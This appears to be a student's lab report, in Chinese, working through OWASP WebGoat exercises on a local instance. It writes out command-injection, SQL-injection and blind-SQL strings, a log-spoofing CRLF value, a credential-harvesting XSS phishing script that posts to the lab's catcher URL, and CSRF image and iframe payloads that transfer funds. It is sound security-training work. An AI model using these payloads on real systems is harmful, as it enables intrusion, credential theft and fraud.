标签：nsf orm 就是 如何 模拟 网络攻防 rom 反射 点击图片
介绍：WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台，用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上，当前提供的训练课程有30多个，其中包括：跨站点脚本攻击（XSS）、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程，某些课程也给出了视频演示，指导用户利用这些漏洞进行攻击。
在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat，出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功，可以看到占用8080端口，实验过程中不能关闭终端。
http://localhost:8080/WebGoat进入WebGoat登录界面,直接用默认用户名密码登录即可。(若页面出错，可能是JDK版本不兼容，参考链接：https://www.jianshu.com/p/9ec7838411c8)
1.命令注入（Command Injection）
原理：在正常的参数提交过程中添加恶意代码以执行某条指令。
目标：可以在目标主机上执行任何系统命令
-操作方法：
右键点击页面，选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码，右键单击后，选择Edit At Html进行修改，添加"& netstat -an & ipconfig"。
点击view，可以看到执行指令后的网络端口使用情况和IP地址。攻击成功！
2. 数字型注入（Numeric SQL Injection）
原理:在station字段中注入特征字符，组合成新的SQL语句。
如：SELECT * FROM weather_data WHERE station = [station]
目标：该例子通过注入SQL字符串查看所有的天气数据。
操作方法：
右键点击页面，选择inspect Element审查网页元素对源代码进行修改，在选中的城市编号Value值中添加or 1=1。
3. 日志欺骗（Log Spoofing）
hcj%0d%0aLogin Succeeded for username: admin
4. SQL 注入（LAB: SQL Injection）
原理:通过注入字符串绕过认证
inspect Element审查网页元素对源代码进行修改，将password密码框的最大长度限制改为20。
- 以用户Smith 登录，输入密码```Smith' or 1=1--```
- 得到所有人员列表，攻击成功！
Stage 3:数字型 SQL 注入（Stage 3: Numeric SQL Injection）
原理:通过注入数字型数据，绕过认证，可以通过普通员工的账户，查看到BOSS的用户信息。
101 or 1=1 order by salary desc，使得老板的信息作为查询到的第一条数据。
5.字符串注入（String SQL Injection）
SELECT * FROM user_data WHERE last_name = '?' 目标：下面的表格，允许用户查看他们的信用卡号码。尝试通过 SQL 注入将所有信用卡信息 显示出来。尝试的用户名是“Smith”。
Smith‘ or 1=1--(Smith 和1=1都成了查询的条件，而1=1是恒等式，因此能查询到表里面的所有数据)
6. 数字型盲注入（Blind Numeric SQL Injection）
原理:某些SQL注入是没有明确返回信息的，只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句，构造子查询语。
目标：该题目允许输入一个帐号，并检测该帐号是否合法。使用该表单的返回信息（真或假）测试检查数据库中其它条目信息。我们找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int，整型。输入找到的数值并提交，通过该题目。
SELECT * FROM user_data WHERE userid=accountNumber;如果该查询语句返回了帐号的信息，页面将提示帐号有效，否则提示无效。使用 AND 函数，我们可以添加一些额外的查询条件。如果该查询条件同样为真，则返回结果应提示帐 号有效，否则无效。
针对查询语句的后半部分构造复杂语句,如:101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 5000 );如果提示无效，则pin值小于5000,使用二分法，最终得出pin的值为2364
1. XSS 钓鱼（Phishing with XSS）
目标：创建一个 form，要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
//脚本
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
2. 存储型XSS攻击（Stored XSS Attacks）
原理：这种攻击常见于论坛等留言平台，用户留言的时候输入一段JavaScript脚本，这段脚本就会被保存在数据库中。因为是留言，所以任何用户在打开网页的时候，这个脚本就会被从数据库中取出来而运行。
目标：写入非法的消息内容，可以导致其他用户访问时载入非预期的页面或内容
给用户发一个信息，用户在打开这个信息的时候触发了隐藏在信息里面js代码，然后被盗走了cookies
3. 反射型XSS攻击（Reflected XSS Attacks）
原理：在反射的XSS攻击中，攻击者可以使用攻击脚本创建一个URL，并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
目标：使用攻击脚本创建URL，并将其写入网站中，当读取到该URL的时候就会被攻击
操作方法：
<script>alert("hello20165324");</script>，点击purse的同时页面就给出了反馈
1. 跨站请求伪造（Cross Site Request Forgery (CSRF)）
- 在title中输入任何参数，message框中输入<img src="http://localhost:8080/WebGoat/attack Screen=267&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框，这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片)，用户一旦点击图片，就会触发一个CSRF事件，点击Submit提交
- 在Message List中生成以Title命名的消息。点击该消息，当前页面就会下载这个消息并显示出来，转走用户的5000元，从而达到CSRF攻击的目的。
2. 绕过 CSRF 确认（ CSRF Prompt By‐Pass）
操作方法：
<iframe src="attack?Screen=276&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=276&menu=900&transferFunds=CONFIRM"> </iframe>
2018-2019-2 网络对抗技术 20165324 Exp9： Web安全基础
标签：nsf orm 就是 如何 模拟 网络攻防 rom 反射 点击图片
原文地址：https://www.cnblogs.com/20165324hcj/p/10925491.html
